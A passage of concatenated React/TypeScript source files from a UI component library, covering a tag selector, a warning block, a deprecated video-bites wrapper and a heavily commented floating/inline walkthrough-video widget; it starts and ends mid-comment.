Tags Selector Component\n * Used across blog posts, case studies, and product releases\n * Features:\n * - Search autocomplete\n * - Chip display inside search input\n * - Tag limit (default 10)\n * - Removable chips\n * - Auto-opens on focus (like blog post wizard)\n * - Create new tags (when allowCreate is true and onCreateTag is provided)\n */\nexport function TagsSelector({\n  availableTags,\n  selectedTagIds,\n  onTagsChange,\n  onCreateTag,\n  maxTags = 10,\n  placeholder = \"Search tags...\",\n  className,\n  disabled = false,\n  allowCreate = true\n}: TagsSelectorProps) {\n  const [searchQuery, setSearchQuery] = useState(\"\");\n  const [showDropdown, setShowDropdown] = useState(false);\n  const [isCreating, setIsCreating] = useState(false);\n\n  const handleTagAdd = (tagId: number) => {\n    if (!selectedTagIds.includes(tagId) && selectedTagIds.length < maxTags) {\n      onTagsChange([...selectedTagIds, tagId]);\n      setSearchQuery('');\n    }\n  };\n\n  const handleTagRemove = (tagId: number) => {\n    onTagsChange(selectedTagIds.filter(id => id !== tagId));\n  };\n\n  const handleCreateTag = async () => {\n    if (!onCreateTag || !searchQuery.trim() || isCreating) return;\n\n    setIsCreating(true);\n    try {\n      const newTag = await onCreateTag(searchQuery.trim());\n      if (newTag) {\n        // Add the new tag to selection\n        onTagsChange([...selectedTagIds, newTag.id]);\n        setSearchQuery('');\n        setShowDropdown(false);\n      }\n    } catch (error) {\n      console.error('Failed to create tag:', error);\n    } finally {\n      setIsCreating(false);\n    }\n  };\n\n  const getFilteredTagsForAutocomplete = () => {\n    return availableTags.filter(tag =>\n      !selectedTagIds.includes(tag.id) &&\n      tag.name.toLowerCase().includes(searchQuery.toLowerCase())\n    );\n  };\n\n  const getSelectedTags = () => {\n    return availableTags.filter(tag => selectedTagIds.includes(tag.id));\n  };\n\n  // Check if the search query exactly matches an existing tag (case-insensitive)\n  const tagExistsWithName = (name: string) => {\n    return availableTags.some(tag => tag.name.toLowerCase() === name.toLowerCase());\n  };\n\n  const canCreateNewTag = allowCreate && onCreateTag && searchQuery.trim() && !tagExistsWithName(searchQuery.trim());\n  const filteredTags = getFilteredTagsForAutocomplete();\n\n  return (\n    <div className={cn(\"space-y-2\", className)}>\n      <div className=\"relative\">\n        {/* Search Icon */}\n        <div className=\"absolute top-3 left-3 flex items-center pointer-events-none z-10\">\n          <Search className=\"h-4 w-4 text-ods-text-secondary\" />\n        </div>\n\n        {/* Input Container with Chips Inside */}\n        <div className={cn(\n          \"w-full bg-ods-bg border border-ods-border rounded-lg\",\n          \"focus-within:ring-2 focus-within:ring-ods-accent focus-within:border-ods-accent\",\n          \"transition-all duration-200 flex flex-wrap items-center gap-1.5 p-2 pl-10 min-h-[42px]\",\n          disabled && \"opacity-50 cursor-not-allowed\"\n        )}>\n          {/* Selected Tag Chips Inside Search Bar */}\n          {getSelectedTags().map((tag) => (\n            <span\n              key={tag.id}\n              className=\"inline-flex items-center gap-1 pl-2.5 pr-1 py-1 rounded-md bg-ods-accent/15 border border-ods-accent/30 text-ods-text-primary text-h6\"\n            >\n              {tag.name}\n              {!disabled && (\n                <button\n                  type=\"button\"\n                  onClick={(e) => {\n                    e.preventDefault();\n                    e.stopPropagation();\n                    handleTagRemove(tag.id);\n                  }}\n                  className=\"inline-flex items-center justify-center w-4 h-4 rounded-full text-ods-text-secondary hover:text-ods-text-primary hover:bg-ods-accent/20 transition-colors\"\n                  aria-label={`Remove ${tag.name}`}\n                >\n                  <X className=\"w-3 h-3\" />\n                </button>\n              )}\n            </span>\n          ))}\n\n          {/* Search Input - Takes remaining space */}\n          <input\n            type=\"text\"\n            value={searchQuery}\n            onChange={(e) => {\n              setSearchQuery(e.target.value);\n              setShowDropdown(true);\n            }}\n            onFocus={() => {\n              if (selectedTagIds.length < maxTags) {\n                setShowDropdown(true);\n              }\n            }}\n            onBlur={() => {\n              setTimeout(() => setShowDropdown(false), 200);\n            }}\n            onKeyDown={(e) => {\n              if (e.key === 'Enter' && canCreateNewTag) {\n                e.preventDefault();\n                handleCreateTag();\n              }\n            }}\n            placeholder={selectedTagIds.length >= maxTags ? \"Maximum tags reached\" : selectedTagIds.length === 0 ? placeholder : \"Add more...\"}\n            disabled={disabled || selectedTagIds.length >= maxTags}\n            className={cn(\n              \"flex-1 min-w-[100px] bg-transparent border-none outline-none text-ods-text-primary placeholder:text-ods-text-secondary text-h4 py-1 focus:outline-none focus:ring-0 focus:border-0\",\n              selectedTagIds.length >= maxTags && \"cursor-not-allowed opacity-50\"\n            )}\n          />\n\n          {/* Clear Search Button */}\n          {searchQuery && (\n            <Button\n              variant=\"transparent\"\n              type=\"button\"\n              onClick={() => {\n                setSearchQuery(\"\");\n                setShowDropdown(false);\n              }}\n              leftIcon={<X className=\"w-3 h-3\" />}\n              className=\"w-5 h-5 p-0 min-h-0 min-w-0 shrink-0 text-ods-text-secondary hover:text-ods-text-primary hover:bg-transparent\"\n              aria-label=\"Clear search\"\n            />\n          )}\n        </div>\n\n        {/* Autocomplete Dropdown - Shows all available tags on focus */}\n        {showDropdown && !disabled && (\n          <div className=\"absolute z-50 w-full mt-1 bg-ods-card border border-ods-border rounded-lg shadow-lg max-h-60 overflow-y-auto\">\n            <div className=\"p-3\">\n              {/* Create New Tag Option */}\n              {canCreateNewTag && (\n                <Button\n                  variant=\"outline\"\n                  type=\"button\"\n                  onClick={handleCreateTag}\n                  disabled={isCreating}\n                  leftIcon={isCreating ? <Loader2 className=\"w-3 h-3 animate-spin\" /> : <Plus className=\"w-3 h-3\" />}\n                  className=\"w-full flex flex-row items-center gap-1.5 px-2 py-1 mb-2 h-auto rounded border-dashed border-ods-accent bg-ods-bg hover:bg-ods-card text-ods-accent !text-h6\"\n                >\n                  Create tag: <strong>\"{searchQuery.trim()}\"</strong>\n                </Button>\n              )}\n\n              {/* Existing Tags */}\n              {filteredTags.length > 0 ? (\n                <div className=\"flex flex-wrap gap-1.5\">\n                  {filteredTags.map((tag) => (\n                    <Button\n                      key={tag.id}\n                      variant=\"outline\"\n                      type=\"button\"\n                      onClick={() => handleTagAdd(tag.id)}\n                      className=\"h-auto px-2 py-0.5 rounded border-ods-border hover:border-ods-accent bg-ods-bg hover:bg-ods-card text-ods-text-primary !text-h6\"\n                    >\n                      {tag.name}\n                    </Button>\n                  ))}\n                </div>\n              ) : !canCreateNewTag ? (\n                <div className=\"py-4 px-4 text-center w-full\">\n                  <p className=\"text-ods-text-secondary text-h6\">\n                    {searchQuery.trim() ? `No tags found for \"${searchQuery}\"` : \"No tags available\"}\n                  </p>\n                </div>\n              ) : null}\n            </div>\n          </div>\n        )}\n      </div>\n\n      {/* Tag Counter */}\n      <div className=\"flex items-center justify-between\">\n        <div className=\"text-h6 text-ods-text-secondary\">\n          {selectedTagIds.length} / {maxTags} tags selected\n        </div>\n        {selectedTagIds.length >= maxTags && (\n          <span className=\"text-h6 text-ods-error\">\n            (Maximum reached)\n          </span>\n        )}\n      </div>\n    </div>\n  );\n}\n","'use client'\n\nimport { AlertTriangle } from 'lucide-react'\nimport React from 'react'\nimport { cn } from '../../utils/cn'\n\nexport interface WarningBlockProps {\n  /** Text rendered inside the highlighted warning banner header. */\n  title: React.ReactNode\n  /**\n   * Icon shown at the start of the banner. Defaults to a triangle alert icon.\n   * Pass `null` to hide the icon entirely.\n   */\n  icon?: React.ReactNode\n  /**\n   * Body content rendered below the banner — description paragraphs, one or more\n   * `PathsDisplay` lists, command rows, etc. Fully composable so a single block\n   * can mix text and multiple path groups (see the New Device warning blocks).\n   */\n  children?: React.ReactNode\n  /** Extra classes for the outer card container. */\n  className?: string\n}\n\nconst DEFAULT_ICON = <AlertTriangle className=\"h-6 w-6\" />\n\n/**\n * WarningBlock - a card with a highlighted \"attention / warning\" banner header\n * followed by arbitrary body content.\n *\n * The banner reproduces the ODS warning callout (warning color on a muted\n * warning background). Body content is fully composable: pass description\n * paragraphs, one or more `PathsDisplay` lists, command rows, etc. as children.\n *\n * Spacing follows the ODS scale: card padding 16px / gap 12px, banner padding\n * 12px / gap 16px. Typography uses `text-h3`, which is responsive (14px on\n * mobile, 18px from `md` up) and bold by design-token default.\n */\nexport function WarningBlock({ title, icon = DEFAULT_ICON, children, className }: WarningBlockProps) {\n  return (\n    <div\n      className={cn(\n        'flex flex-col gap-3 rounded-[6px] border border-ods-border bg-ods-card p-4',\n        className\n      )}\n    >\n      <div className=\"flex items-start gap-4 overflow-hidden rounded-[6px] bg-ods-warning-secondary p-3 text-ods-warning\">\n        {icon != null && <span className=\"shrink-0\">{icon}</span>}\n        <p className=\"min-w-0 flex-1 text-h3\">{title}</p>\n      </div>\n      {children}\n    </div>\n  )\n}\n","\"use client\";\n\nimport React from 'react';\nimport type { VideoTeaser } from '../../types/video-processing';\nimport { VideoBitesStrip } from './video-bites-strip';\nimport { DEFAULT_VIDEO_BITES_TITLE } from './video-bites-shared';\n\n/**\n * @deprecated Transitional shim — use `<VideoBitesStrip>` directly.\n *\n * The old aspect-ratio GRID rendered here was replaced by the unified\n * strip (`video-bites-strip.tsx`, Figma node 4033-90364). This wrapper\n * keeps the historical 4-prop signature compiling for hub call sites\n * between the lib version bump and the hub-side migration.\n *\n * Scheduled deletion: next lib minor after the hub migration's grep gate\n * confirms zero consumers. Do NOT add features here.\n */\n\nexport interface VideoBitesDisplayProps {\n  /** Array of video bites/teasers to display. */\n  bites: VideoTeaser[];\n  /** Title for the section. */\n  title?: string;\n  /** Whether to filter to only show published bites. Default `true`. */\n  filterPublished?: boolean;\n  /** Whether to show the title section heading. Default `true`. */\n  showTitle?: boolean;\n}\n\nexport function VideoBitesDisplay({\n  bites,\n  title = DEFAULT_VIDEO_BITES_TITLE,\n  filterPublished = true,\n  showTitle = true,\n}: VideoBitesDisplayProps) {\n  return (\n    <VideoBitesStrip\n      bites={bites}\n      title={title}\n      filterPublished={filterPublished}\n      showTitle={showTitle}\n    />\n  );\n}\n","\"use client\";\n\n/**\n * THE generic, embeddable per-platform demo-video widget, in the two placements\n * hosts actually mount: <FloatingWalkthroughVideo> and <InlineWalkthroughVideo>.\n *\n * SHARED GRAMMAR. A collapsed card (bite-identical hover grammar via\n * <VideoHoverPreviewSurface>) that opens a large in-page theater (Radix Dialog\n * primitives, NOT native fullscreen) showing ONLY the video: a bare 16:9 stage\n * with the player's own controls + captions. No card chrome, no summary.\n *   - FLOATING pins that card to a bottom corner over the page — left unless\n *     the video data says `position: 'right'`.\n *   - INLINE lays it out in the host's own flow, filling its container at 16:9.\n *     Every overlay-only behaviour drops out with the pinning: no fixed\n *     positioning, no z-layer, no shadow, no appear delay (nothing to stagger\n *     against an already-painted page), no footer fade (no footer to collide\n *     with) and no dismissal (an X is an overlay's \"get out of my way\"; in a\n *     host's own layout it just leaves a hole, and the cookie is per-platform,\n *     so one dismissal in the corner would silently empty the in-page block).\n *\n * ONE ENGINE, TWO PRESETS. <WalkthroughVideo> below takes `placement` and is\n * deliberately NOT exported: placement is a constant at every call site, so the\n * public API is two components that say what they are instead of one that takes\n * a mode — a <FloatingWalkthroughVideo placement=\"inline\"> reads as a\n * contradiction, and naming a family after one of its variants is what produced\n * it. The presets are one line each; everything below the wrapper — the player\n * mode machine, the audio invariant, the corner map, dismissal — stays shared,\n * because forking THAT is how the two placements would drift.\n *\n * The split pays off in the types: the overlay-only knobs are absent from\n * `InlineWalkthroughVideoProps` outright, so \"floating only\" is a compile error\n * rather than a line of prose each caller has to read.\n *\n * All UI lives here in the lib so every platform site AND the react-embedding\n * example mount the same component; the host supplies only the video data.\n *\n * STATE MODEL (read before adding a boolean — the recurring bugs in this file\n * all came from ad-hoc flags contradicting each other):\n *   `cardMode`  — ONE discriminant: 'resume' | 'preview' | 'poster'. Derived,\n *                 never stored, so the two players can't both be mounted.\n *   `cardMuted` / `cardPaused` — transport state for whichever card player is\n *                 live. Both toggles ALWAYS render in both states; a control\n *                 that hides itself on use is a dead end (that bug shipped\n *                 twice). Never gate a control's visibility on its own value.\n *   `cardFallback` — autoplay-BLOCKED prompt only. Distinct from `cardMuted`\n *                 (user intent); conflating them is what made unmute vanish.\n *   `handoff`   — theater→card continuation snapshot. Clearing it UNMOUNTS the\n *                 mini player, so never clear it to express \"paused\".\n * Layering: the media layer is `pointer-events-none` so a paused/idle player\n * can never swallow a click; every non-control click reaches the activation\n * overlay. Corners are exclusive: transport TL, dismiss TR, title+presenter BL.\n *\n * Audio invariant (both directions): never two overlapping streams, nor a blip.\n *   - open: pause the hover preview synchronously (pointerdown), force the\n *     surface inactive for the whole open duration, reset the YouTube suspend.\n *   - close: snapshot then pause the theater player (file) / suspend (YouTube).\n *     NOTE: this theater's Content carries no exit animation, so Radix unmounts\n *     it in the same commit and the iframe dies before the suspend postMessage\n *     can run. The suspend path exists for hosts that DO animate the exit; here\n *     the unmount itself is what stops the audio.\n */\n\nimport React, { useCallback, useEffect, useMemo, useRef, useState } from 'react';\nimport * as DialogPrimitive from '@radix-ui/react-dialog';\nimport { cn } from '../../utils/cn';\nimport { Button } from '../ui/button';\nimport { SquareAvatar } from '../ui/square-avatar';\nimport { DialogPortal, DialogOverlay } from '../ui/dialog';\nimport { VideoHoverPreviewSurface } from './video-hover-preview';\nimport { CardHitLayer } from './card-hit-layer';\nimport { VideoPlayBadge, VideoUnmuteGlyph } from './video-center-badge';\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon';\nimport { VolumeUpIcon } from '../icons-v2-generated/audio-and-visual/volume-up-icon';\nimport { PauseIcon } from '../icons-v2-generated/media-playback/pause-icon';\nimport { PlayIcon } from '../icons-v2-generated/media-playback/play-icon';\nimport { VolumeXmarkIcon } from '../icons-v2-generated/audio-and-visual/volume-xmark-icon';\nimport { Video, type VideoPlayerHandle, type VideoMutedFallbackState } from './video';\nimport {\n  WALKTHROUGH_VIDEO_DISMISS_KEY,\n  isWalkthroughDismissed,\n  dismissWalkthrough,\n} from '../../utils/dismissal-storage';\nimport { WALKTHROUGH_OPEN_QUERY_PARAM } from '../../utils/walkthrough-deep-link';\n\n/** Wire-shape data for the widget. Kept as the shared contract the hub DAL\n *  re-exports as `PublicWalkthroughVideo & { id }`. `mainVideoUrl`/`youtubeUrl`\n *  stay SEPARATE — YouTube wins when both are set (card matches theater). */\nexport interface WalkthroughVideoData {\n  /** Row id — used for id-match cookie dismissal (a new video re-shows the\n   *  card even after an old one was dismissed). */\n  id?: string | number;\n  mainVideoUrl?: string | null;\n  youtubeUrl?: string | null;\n  posterUrl?: string | null;\n  /** RELATIVE VTT path (/api/captions/...); embedders prefix their proxy base. */\n  captionsUrl?: string | null;\n  title?: string | null;\n  presenterAvatarUrl?: string | null;\n  /** Which bottom corner the collapsed card pins to. Admin-controlled per\n   *  video; anything other than 'right' (including absent) means left. */\n  position?: 'left' | 'right' | null;\n}\n\n/** Everything the two placements share — the widget's actual contract. */\ninterface WalkthroughVideoBaseProps {\n  video: WalkthroughVideoData | null | undefined;\n  open?: boolean;\n  onOpenChange?: (open: boolean) => void;\n  defaultOpen?: boolean;\n  /** With `defaultOpen`: the initial theater starts PAUSED instead of\n   *  autoplaying — for deep links (`?walkthrough=1`), where the open has no\n   *  user gesture and unrequested audio/motion would be hostile. Applies to\n   *  the initial `defaultOpen` session only: it ends when the NEXT open —\n   *  gesture-driven (card click) or host-driven (`open` flipping true) —\n   *  mounts a fresh theater, which autoplays as usual. */\n  defaultOpenPaused?: boolean;\n  /** Query-param NAME that deep-links into the theater: when present in\n   *  `window.location.search` at first client render, the theater opens\n   *  immediately and PAUSED — `defaultOpen + defaultOpenPaused` decided\n   *  inside the component, so hosts don't defer their first render to read\n   *  the URL. Defaults to `WALKTHROUGH_OPEN_QUERY_PARAM` ('walkthrough');\n   *  pass '' to disable. Presence-based (any value counts), read ONCE at\n   *  mount (deep links arrive by full page load, not client navigation).\n   *  SSR-safe: the server renders closed, and the theater lives in a portal,\n   *  so the hydrated (non-portal) markup is identical either way. */\n  deepLinkParam?: string;\n  label?: string;\n  className?: string;\n}\n\n/**\n * <FloatingWalkthroughVideo>: the shared contract plus the knobs that only mean\n * something for an OVERLAY. Each of these is inert inline — the appear delay\n * staggers against a page the visitor hasn't seen yet, dismissal is an overlay\n * affordance, and the footer fade (with the `pathname` that re-queries its\n * target) exists to keep a pinned card off the page chrome. So they live here,\n * not in the base.\n */\nexport interface FloatingWalkthroughVideoProps extends WalkthroughVideoBaseProps {\n  appearDelayMs?: number;\n  /** Cookie-based dismissal (id-match, mirrors the announcement bar). `false`\n   *  disables the X entirely. `storageKey` is the per-platform cookie name. */\n  dismissal?: { storageKey?: string } | false;\n  /** Fades the card out while `hideNearSelector` is in view. */\n  hideNearSelector?: string;\n  /** Route identity from the host (the lib can't observe navigation). Changing\n   *  it re-queries the footer IO target. */\n  pathname?: string;\n}\n\n/** <InlineWalkthroughVideo>: the shared contract and nothing else — see above. */\nexport type InlineWalkthroughVideoProps = WalkthroughVideoBaseProps;\n\n/** Engine props. Internal: `placement` never reaches a call site. */\ntype WalkthroughVideoProps = FloatingWalkthroughVideoProps & { placement: 'floating' | 'inline' };\n\n/** \"Paused at the end\" — used by BOTH the close snapshot and the reopen seed,\n *  which must agree or a finished video reopens at its own last frame. */\nconst isAtEnd = (duration: number, time: number) => duration > 0 && duration - time < 1;\n\nconst WALKTHROUGH_Z = 'z-[9980]'; // one layer BELOW the chat dock (z-[9990]).\n\ninterface Handoff {\n  time: number;\n  muted: boolean;\n  playing: boolean;\n}\n\nfunction WalkthroughVideo({\n  video,\n  open: openProp,\n  onOpenChange,\n  defaultOpen,\n  defaultOpenPaused,\n  deepLinkParam = WALKTHROUGH_OPEN_QUERY_PARAM,\n  label = 'Play Demo Video',\n  placement,\n  // Keeps the FLOATING card off the critical path. The inline preset passes 0:\n  // an in-page block is part of a page the visitor is already looking at, so\n  // staggering it in would only jump the layout.\n  appearDelayMs = 3000,\n  dismissal = {},\n  hideNearSelector = 'footer',\n  pathname,\n  className,\n}: WalkthroughVideoProps): React.ReactElement | null {\n  const inline = placement === 'inline';\n  const dismissEnabled = dismissal !== false;\n  const storageKey = (dismissEnabled && dismissal.storageKey) || WALKTHROUGH_VIDEO_DISMISS_KEY;\n  // id-match dismissal key: a new video (new id) re-shows the card. No id\n  // (embedder) → a stable presence marker so dismissal still works.\n  const dismissalId = video?.id != null ? String(video.id) : 'dismissed';\n\n  // --- mount gate (never LCP; cookie read happens post-delay, no hydration mismatch) ---\n  const [mounted, setMounted] = useState(false);\n  const [dismissed, setDismissed] = useState(false);\n  useEffect(() => {\n    let idleHandle: number | null = null;\n    // Wait for the data: on the embedder path `video` starts null, so the\n    // dismissal id was 'dismissed' on the first pass and a dismissed card\n    // flashed for the length of a second appear-delay before hiding.\n    if (!video) return;   // wait for data — see the id-based dep below\n    const timer = setTimeout(() => {\n      const reveal = () => {\n        if (dismissEnabled && isWalkthroughDismissed(storageKey, dismissalId)) {\n          setDismissed(true);\n          return;\n        }\n        // Cleared on the way through: a client-only embedder can swap to a NEW\n        // video id in-session (the cookie is id-matched, so the new one isn't\n        // dismissed), and a sticky `dismissed` kept the card hidden until a\n        // full reload — contradicting the id-match behaviour documented above.\n        setDismissed(false);\n        setMounted(true);\n      };\n      const ric = (window as unknown as { requestIdleCallback?: (cb: () => void) => number }).requestIdleCallback;\n      if (typeof ric === 'function') idleHandle = ric(reveal);\n      else reveal();\n    }, appearDelayMs);\n    return () => {\n      clearTimeout(timer);\n      const cic = (window as unknown as { cancelIdleCallback?: (h: number) => void }).cancelIdleCallback;\n      if (idleHandle !== null && typeof cic === 'function') cic(idleHandle);\n    };\n    // `video?.id`, not the object: a new identity (embedder refetch, re-seeded\n    // RSC payload) would otherwise restart the appear delay.\n  }, [appearDelayMs, dismissEnabled, storageKey, dismissalId, video?.id]);\n\n  // --- environment preferences (read after mount; no SSR access) ---\n  const [previewSuppressed, setPreviewSuppressed] = useState(false);\n  useEffect(() => {\n    try {\n      const reducedMotion = window.matchMedia?.('(prefers-reduced-motion: reduce)').matches ?? false;\n      const conn = (navigator as unknown as { connection?: { saveData?: boolean; effectiveType?: string } }).connection;\n      const saveData = conn?.saveData === true || conn?.effectiveType === '2g' || conn?.effectiveType === 'slow-2g';\n      setPreviewSuppressed(Boolean(reducedMotion || saveData));\n    } catch { /* ignore */ }\n  }, []);\n\n  // --- controlled/uncontrolled open ---\n  // Deep link: read ONCE, synchronously, on the first client render — the\n  // theater's autoplay props are load-time, so the decision must exist before\n  // the render that mounts it (an effect would be one commit too late). The\n  // lazy initializer never re-runs, so client navigation can't re-trigger it.\n  const [deepLinkHit] = useState(() => {\n    if (!deepLinkParam || typeof window === 'undefined') return false;\n    try {\n      return new URLSearchParams(window.location.search).has(deepLinkParam);\n    } catch {\n      return false;\n    }\n  });\n  const [openState, setOpenState] = useState(Boolean(defaultOpen) || deepLinkHit);\n  const open = openProp !== undefined ? openProp : openState;\n  // The paused deep-link session — see `defaultOpenPaused`. Load-time-safe:\n  // the theater player's autoplay props are read once at construction, and\n  // this is set before the first render that mounts it. Cleared on the next\n  // OPEN transition only (the prevOpen sync below), right before a fresh\n  // theater constructs — never on close, where the closing player is still\n  // mounted and a prop flip would restart it (see the sync's comment).\n  const [pausedOpenSession, setPausedOpenSession] = useState(\n    Boolean(defaultOpen && defaultOpenPaused) || deepLinkHit,\n  );\n\n  // --- refs & continuation state ---\n  const previewHandleRef = useRef<VideoPlayerHandle | null>(null);\n  const theaterHandleRef = useRef<VideoPlayerHandle | null>(null);\n  // Why the theater reports its fallback state even though it renders no card\n  // control: `blocked`/`muted` distinguish \"the user muted this\" from \"the\n  // browser refused sound\". Only the former may become standing intent.\n  const theaterForcedMuteRef = useRef(false);\n  const resumeHandleRef = useRef<VideoPlayerHandle | null>(null);\n  const closeButtonRef = useRef<HTMLButtonElement | null>(null);\n  // TRUE only when the user pressed Mute. An autoplay-forced mute (cardFallback)\n  // is NOT intent, so the theater must not inherit it — conflating the two is\n  // what made the theater open silently after a blocked hover preview.\n  const userMutedRef = useRef(false);\n  const endedLatchRef = useRef(false);\n\n  const [hovered, setHovered] = useState(false);\n  const [handoff, setHandoff] = useState<Handoff | null>(null);\n  const [suspended, setSuspended] = useState(false);\n  const [theaterStart, setTheaterStart] = useState<{ time: number; muted: boolean }>({ time: 0, muted: false });\n  const [footerHidden, setFooterHidden] = useState(false);\n  const [cardFallback, setCardFallback] = useState<VideoMutedFallbackState>({ muted: false, blocked: false });\n  // Card-player transport state, driving the persistent mute/play TOGGLES.\n  // Separate from `cardFallback` (which is the autoplay-blocked prompt).\n  const [cardMuted, setCardMuted] = useState(false);\n  const [cardPaused, setCardPaused] = useState(false);\n  // Renderable mirror of `userMutedRef` — the ref is for synchronous reads in\n  // callbacks, this is what the player subtree observes. Deliberately NOT\n  // `cardMuted`: that also tracks policy-forced mutes.\n  const [userMuted, setUserMuted] = useState(false);\n\n  const isYouTube = Boolean(video?.youtubeUrl);\n  // PRESENCE-based: any handoff means \"the card owns this video at this\n  // timestamp\"; `playing` only seeds the pause toggle. Keying it on `playing`\n  // made a paused close (or a tab-switch) a one-way door — the card lost its\n  // transport AND its hover preview with no way back. `!open` keeps a\n  // host-controlled `open` from running the card and theater at once.\n  const resumeMode = !open && handoff !== null && !isYouTube;\n  const previewAllowed = !previewSuppressed && !isYouTube;\n\n  // --- footer fade (re-query on pathname change; null-tolerant) ---\n  useEffect(() => {\n    if (!mounted) return;\n    // An inline card scrolls WITH the page — fading it out over the footer\n    // would blank the very block the visitor scrolled down to.\n    if (inline) {\n      setFooterHidden(false);\n      return;\n    }\n    const el = typeof document !== 'undefined' ? document.querySelector(hideNearSelector) : null;\n    if (!el || typeof IntersectionObserver === 'undefined') {\n      setFooterHidden(false);\n      return;\n    }\n    const io = new IntersectionObserver(\n      entries => setFooterHidden(entries[0]?.isIntersecting ?? false),\n      { rootMargin: '0px 0px -40px 0px' },\n    );\n    io.observe(el);\n    return () => io.disconnect();\n  }, [mounted, inline, hideNearSelector, pathname]);\n\n  // --- tab-hidden: pause resume-mode playback, keep the timestamp ---\n  useEffect(() => {\n    if (!resumeMode) return;\n    const onVis = () => {\n      if (document.visibilityState === 'hidden') {\n        const h = resumeHandleRef.current;\n        if (h) {\n          // Pause in place. Rewriting the handoff here used to unmount the\n          // mini player, so a background tab-switch silently destroyed it.\n          h.pause();\n          setCardPaused(true);\n        }\n      }\n    };\n    document.addEventListener('visibilitychange', onVis);\n    return () => document.removeEventListener('visibilitychange', onVis);\n  }, [resumeMode]);\n\n  // Faded out behind the footer: stop audio. The card is `pointer-events-none`\n  // while hidden, so a still-playing player would be unreachable — the same\n  // reason the tab-hidden handler exists.\n  // Depends on cardMode too: a player that MOUNTS while the card is already\n  // hidden (e.g. the footer scrolled into view during the theater) would\n  // otherwise autoplay behind an invisible, pointer-inert card.\n  useEffect(() => {\n    if (!footerHidden) return;\n    const h = resumeHandleRef.current ?? previewHandleRef.current;\n    try { h?.pause(); } catch { /* ignore */ }\n    setCardPaused(true);\n    setHovered(false);\n    // `resumeMode`/`hovered` (not the derived cardMode, declared below) are the\n    // inputs that decide whether a player is mounted.\n  }, [footerHidden, resumeMode, hovered]);\n\n  // Render-synced mirror of the derived `cardMode`, which is declared BELOW\n  // the callbacks that need it. Reading state declared later from a memoized\n  // callback is the exact trap that made every hover-preview open restart at\n  // 0:00 (the closure kept its render-0 value), so this is a ref, not a dep.\n  const cardModeRef = useRef<'resume' | 'preview' | 'poster'>('poster');\n\n  // Set by the card's OWN handlers, consumed by the controlled-mode sync\n  // below. Without it, a controlled host flipping `open` in response to\n  // `onOpenChange` looks identical to a genuinely host-originated open, and\n  // the sync clobbers the seed/snapshot the handler just computed.\n  const selfDrivenForRef = useRef<boolean | null>(null);\n\n  // Set on every close so the focus Radix restores to the hit layer can't be\n  // mistaken for the user tabbing to the card. CONSUMED BY THE FOCUS HANDLER\n  // (see commitOpen) — the timer beside it is only a safety valve.\n  const justClosedRef = useRef(false);\n  const justClosedTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);\n\n  const commitOpen = useCallback((next: boolean) => {\n    if (!next) {\n      // CONSUMED BY THE FOCUS HANDLER, not by a timer racing Radix.\n      // Radix's FocusScope restores focus from its OWN `setTimeout(…, 0)`,\n      // registered during cleanup — i.e. AFTER any timer we schedule here.\n      // A timer-cleared latch was therefore always false by the time the\n      // restore landed, and Escape-close still restarted preview audio.\n      // The timer below is only a safety valve for the case where no focus\n      // restoration arrives at all (host-driven close, no focus to return).\n      justClosedRef.current = true;\n      if (justClosedTimerRef.current) clearTimeout(justClosedTimerRef.current);\n      justClosedTimerRef.current = setTimeout(() => {\n        justClosedTimerRef.current = null;\n        justClosedRef.current = false;\n      }, 400);\n    }\n    if (openProp === undefined) setOpenState(next);\n    onOpenChange?.(next);\n  }, [openProp, onOpenChange]);\n\n  // Synchronous preview pause on pointerdown — the window-capture activation\n  // waiter unmutes a pre-activation preview on the first pointerdown; without\n  // this the opening/dismissing press itself blips at 50% volume.\n  const pausePreviewNow = useCallback(() => {\n    // Whichever player is live — in resume mode that is the continuation\n    // player, so pausing only the preview left a playing card audible through\n    // the whole pointerdown -> click -> commit window.\n    const h = resumeHandleRef.current ?? previewHandleRef.current;\n    try { h?.pause(); } catch { /* ignore */ }\n    // Keep the toggle honest: an aborted press (pointerdown then drag away)\n    // otherwise left it reading \"Pause\" over a paused video.\n    setCardPaused(true);\n  }, []);\n\n  const openTheater = useCallback(() => {\n    // Captured BEFORE `pausePreviewNow()` below. NOTE this only helps keyboard\n    // activation: a mouse click already ran the hit layer's `onPointerDown`\n    // pause, so on that path the element IS paused here and the test below\n    // still reduces to `liveTime > 0.5`. Kept because Enter/Space dispatches\n    // no pointerdown, and there the live playing state is real.\n    const handleBeforePause = resumeHandleRef.current ?? previewHandleRef.current;\n    const liveWasPlaying = handleBeforePause?.getPaused() === false;\n    // Idempotent: keyboard activation (Enter/Space) dispatches no pointerdown,\n    // so the synchronous audio-stop guard would otherwise be skipped.\n    pausePreviewNow();\n    // Seed the theater from whatever the card was ACTUALLY playing, so the\n    // theater continues at the same second in every direction:\n    //   resume player (live) > hover preview (live) > paused handoff snapshot.\n    // Reading the preview handle is what makes \"hover-preview → click → theater\"\n    // continue mid-video instead of restarting at 0. Pausing on pointerdown does\n    // not reset currentTime, so the value is still accurate here.\n    // Source chosen by MODE. Picking \"whichever handle reports > 0.5s\" let a\n    // stale hover-preview position (0:05) shadow a stored handoff (3:20) on\n    // desktop while mobile — which never hovers — resumed correctly: the same\n    // gesture gave different results per platform.\n    // Read the refs directly — no render-scoped state. The previous version\n    // consulted `cardActive`, which is declared BELOW this callback and is not\n    // a dependency, so the memoized closure always saw its render-0 value\n    // (false) and every hover-preview -> theater open restarted at 0:00.\n    // Mode-gated: the card is `position: fixed`, so its preview player is\n    // permanently in-viewport and is NEVER unmounted — it keeps currentTime\n    // from a hover abandoned minutes ago. Reading it unconditionally made\n    // \"Play Demo Video\" silently start 10s in. Only a LIVE mode may seed.\n    const liveHandle =\n      resumeHandleRef.current ?? (cardModeRef.current === 'preview' ? previewHandleRef.current : null);\n    const liveTime = liveHandle?.getCurrentTime() ?? 0;\n    // A preview that ran to completion keeps its currentTime, so without the\n    // same at-end guard the close path uses, clicking the card would open the\n    // theater seeked to the final frame and it would instantly re-end.\n    const liveDuration = liveHandle?.getDuration() ?? 0;\n    const liveAtEnd = isAtEnd(liveDuration, liveTime);\n    const start = {\n      // At end -> start over. Falling back to `handoff.time` here would rewind\n      // to an unrelated older anchor (e.g. 3:20) instead of restarting.\n      time: liveAtEnd ? 0 : (liveTime > 0.5 ? liveTime : (handoff?.time ?? 0)),\n      // Live element wins over remembered intent (the theater's own chrome may\n      // have changed it) — EXCEPT when the element is muted only because\n      // autoplay policy forced it, which is not intent.\n      // `cardFallback.muted` is armed 